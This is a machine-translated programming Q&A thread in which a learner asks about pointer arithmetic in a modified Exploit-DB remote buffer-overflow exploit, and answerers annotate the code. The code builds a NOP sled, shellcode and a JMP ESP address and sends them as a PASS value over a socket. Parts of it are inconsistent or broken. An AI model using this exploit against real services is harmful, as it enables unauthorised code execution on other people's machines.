Question

我目前正在尝试教一个老狗一个新技巧，并且此时通过几本书阅读，以便我能够更熟悉简单的c代码。另外，我的任务是更加努力 - 在我理解这个练习之前，我不想在课程材料中继续前进。在我寻找答案时，我发现这个精彩的网站已经帮助回答了很多问题;在充分理解我绝对是我的头脑之后，我问是否有人可以帮助指出一些事情以确认我对下面代码中的指针算法和内存访问的理解（或缺乏），这已从646修改过.c利用漏洞利用数据库。

void exploit(int sock) {
      FILE *test;
      int *ptr;//this is an unitialized pointer??
      char userbuf[] = "USER madivan\r\n";
      char evil[551];//allocating 551 bytes of memory
      char buf[3012];//allocating 3012 bytes of memory
      char receive[1024];
      char nopsled[] =  "\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90";
      memset(buf, 0x00, 3012);//zeroing out the buffer
      memset(evil, 0x00, 3001);//zeroing out the 'evil'
      memset(evil, 0x46, 551);//sets 551 bytes 
      ptr = &evil;//identify's the 'ptr' as &evil at that memory address?
      ptr = ptr + 657;  //adds 657 bytes to the 'ptr' @ &evil's    address
      memcpy(ptr, &nopsled, 16);//copies the pointers address             

             //divides by the nopsled and allows 16 bytes to be processed?
      ptr = ptr + 4;//at the previous lines memory address adds 4 bytes?

      memcpy(ptr, &shellcode, 317);this copies the memory address of the 

      // 'ptr' divides by the shellcode, then processes 317 bytes?
      *(long*)&evil[2610] = "\x8f\x35\x4a\x5f"; // 0x5f4a358f; // JMP ESP 
      //I have no idea how this line works.
      // banner
      recv(sock, receive, 1024, 0);
      printf("[+] %s", receive);
      // user
      printf("[+] Sending Username...\n");
      send(sock, userbuf, strlen(userbuf), 0);
      recv(sock, receive, 1024, 0);
      printf("[+] %s", receive);
      // passwd
      printf("[+] Sending Evil buffer...\n");
      sprintf(buf, "PASS %s\r\n", evil);
      //test = fopen("test.txt", "w");
      //fprintf(test, "%s", buf);
      //fclose(test);
      send(sock, buf, strlen(buf), 0);
      printf("[*] Done! Connect to the host on port 443...\n\n");
      }

我读过的两本书讨论了c代码的基本参数;非常感谢帮助我更多理解的任何帮助。感谢所有回复此社区内其他人的人，帮助他们清理并确定信息在何处以及如何共享/存储/处理/访问。

干杯！

Answer 1

代码中前几个问题的答案：

Q1。是的：它是一个未初始化的指针。

Q2。这会将evil的地址指定为ptr。

Q3。 memcpy顾名思义：将数据从一个内存位置复制到另一个内存位置;在这种情况下，从nopsled到ptr中的地址为16个字节。

Q4。见上文

Answer 2

以下是一些描述代码正在执行的操作的注释。没有具体问题，您很难获得具体答案。

void exploit(int sock) {
    FILE *test;
    int *ptr;             // This is an unitialized pointer
    char userbuf[] = "USER madivan\r\n";
    char evil[551];       // Allocate 551 bytes of stack memory
    char buf[3012];       // Allocate 3012 bytes of stack memory
    char receive[1024];   // Allocate 1024 bytes of stack memory for 
                          // receiving data from the socket

    // Define an array of NOP instructions
    // These execute with no effect on the CPU
    char nopsled[] =  "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90";

    // Zero out the buffer at address buf
    memset(buf, 0x00, 3012);

    // Zero out the buffer at address evil and an EXTRA 2450 bytes
    // clearing part of the stack frame
    memset(evil, 0x00, 3001);

    // Fills the evil buffer with 551 bytes of value 0x46
    memset(evil, 0x46, 551);

    // Sets ptr to the address of the evil buffer
    ptr = &evil;

    // Sets ptr to the address 657 words (2628 bytes) past the first
    // element of evil. ptr now points into previous stack frames
    ptr = ptr + 657;

    // Copies the NOP instructions to the memory location pointed to
    // by ptr (16 NOP instructions, 4 words)
    memcpy(ptr, &nopsled, 16);

    // Sets ptr to point to the memory location after the NOPs
    ptr = ptr + 4;

    // Copies 317 bytes from shellcode to the memory location pointed
    // to by ptr
    memcpy(ptr, &shellcode, 317);

    // Copies the instruction JMP ESP to the location 2610 bytes past
    // the first element of evil. This allows shellcode to be executed
    *(long*)&evil[2610] = "\x8f\x35\x4a\x5f";

    // Continue with the rest of the routine
    recv(sock, receive, 1024, 0);
    printf("[+] %s", receive);
    // user
    printf("[+] Sending Username...\n");
    send(sock, userbuf, strlen(userbuf), 0);
    recv(sock, receive, 1024, 0);
    printf("[+] %s", receive);
    // passwd
    printf("[+] Sending Evil buffer...\n");
    sprintf(buf, "PASS %s\r\n", evil);
    //test = fopen("test.txt", "w");
    //fprintf(test, "%s", buf);
    //fclose(test);
    send(sock, buf, strlen(buf), 0);
    printf("[*] Done! Connect to the host on port 443...\n\n");
}

需要帮助理解指针算法以及如何访问信息

2 个答案: